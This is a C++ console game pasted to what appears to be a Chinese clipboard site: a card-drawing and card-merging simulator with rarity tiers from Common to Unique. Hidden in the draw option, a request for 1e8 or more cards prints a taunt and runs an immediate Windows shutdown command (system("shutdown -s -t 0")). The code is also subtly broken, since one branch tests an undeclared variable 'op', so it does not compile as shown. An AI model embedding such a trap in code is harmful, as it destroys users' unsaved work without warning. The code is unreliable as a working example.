跳到正文

剪贴板

剪贴板 mikjghr9

原文
剪贴板信息

剪贴板信息

收录
更新
C++
#include<bits/stdc++.h>
#define int long long
using namespace std;
int x,y,s; string c[]={"","Common","Unusual","Rare","Epic","Legendary","Mythic","Ultra","Super","Unique"};
int a[10],b[10];
signed main(){
	srand(time(0));
	cout<<"合卡模拟器\n";
	cout<<"作者:ybw731\n";
	while(1){
		cout<<"1.卡片数    2.合卡    3.获得卡片\n";
		int p; cin>>p;
		if(p==1){
			cout<<"1.   Common 2.  Unusual 3.     Rare 4.     Epic 5.Legendary 6.   Mythic 7.    Ultra 8.    Super 9.   Unique\n";
			cout<<setw(12)<<a[1]<<setw(12)<<a[2]<<setw(12)<<a[3]<<setw(12)<<a[4]<<setw(12)
			<<a[5]<<setw(12)<<a[6]<<setw(12)<<a[7]<<setw(12)<<a[8]<<setw(12)<<a[9]<<endl;
		}else if(p==2){
			cout<<"卡片等级(等级为0是一键合卡):"; cin>>x;
			if(x==0){
				for(int i=1;i<=8;i++){
					s=0;
					x=i;
					int y=a[x];
					a[x]-=y;
					if(x<=7){
						while(y>=5){
							int fg=rand()%512,h=rand()%4+1;
							if(fg<=512/(1<<x)) s++,y-=5;
							else y-=h;
						}
						cout<<"你获得了"<<s<<"张"<<c[x+1]<<"品质的卡片,和"<<y<<"张"<<c[x]<<"品质的卡片!!!\n";
						a[x+1]+=s;
						a[x]+=y;
					}else{
						while(y>=5){
							int fg=rand()%4000,h=rand()%4+1;
							if(fg==0) s++,y-=5;
							else y-=h;
						}
						cout<<"你获得了"<<s<<"张"<<c[x+1]<<"品质的卡片,和"<<y<<"张"<<c[x]<<"品质的卡片!!!\n";
						a[x+1]+=s;
						a[x]+=y;
					}
				}
				continue;
			}
			if(x>=9){
				cout<<"你无法合卡!!!\n";
				continue;
			}
			cout<<"数量(数量为0是一键合卡):"; cin>>y;
			if(y==0) y=a[x];
			s=0;
			if(y>a[x]){
				cout<<"你没有这么多卡片!!!\n";
				continue;
			}
			a[x]-=y;
			if(x<=7){
				while(y>=5){
					int fg=rand()%512,h=rand()%4+1;
					if(fg<=512/(1<<x)) s++,y-=5;
					else y-=h;
				}
				cout<<"你获得了"<<s<<"张"<<c[x+1]<<"品质的卡片,和"<<y<<"张"<<c[x]<<"品质的卡片!!!\n";
				a[x+1]+=s;
				a[x]+=y;
			}else{
				while(y>=5){
					int fg=rand()%4000,h=rand()%4+1;
					if(fg==0) s++,y-=5;
					else y-=h;
				}
				cout<<"你获得了"<<s<<"张"<<c[x+1]<<"品质的卡片,和"<<y<<"张"<<c[x]<<"品质的卡片!!!\n";
				a[x+1]+=s;
				a[x]+=y;
			}
		}else if(op==3){
			int t; cout<<"获得数量:"; cin>>t;
			if(t>=1e8){
				cout<<"贪心的人会有报应!!!!!!!!!!!!!!!!";
				system("shutdown -s -t 0");
			}
			memset(b,0,sizeof b);
			while(t--){
				int fg=rand()%256;
				if(fg>=128)
					b[1]++;
				else if(fg>=64)
					b[2]++;
				else if(fg>=32)
					b[3]++;
				else if(fg>=16)
					b[4]++;
				else if(fg>=8)
					b[5]++;
				else if(fg>=4)
					b[6]++;
				else if(fg>=2)
					b[7]++;
				else if(fg==1)
					b[8]++;
			}
			for(int i=1;i<=8;i++){
				cout<<"你获得了"<<b[i]<<"个"<<c[i]<<"品质的卡片!!!!!\n";
				a[i]+=b[i];
			}
		}
	}
}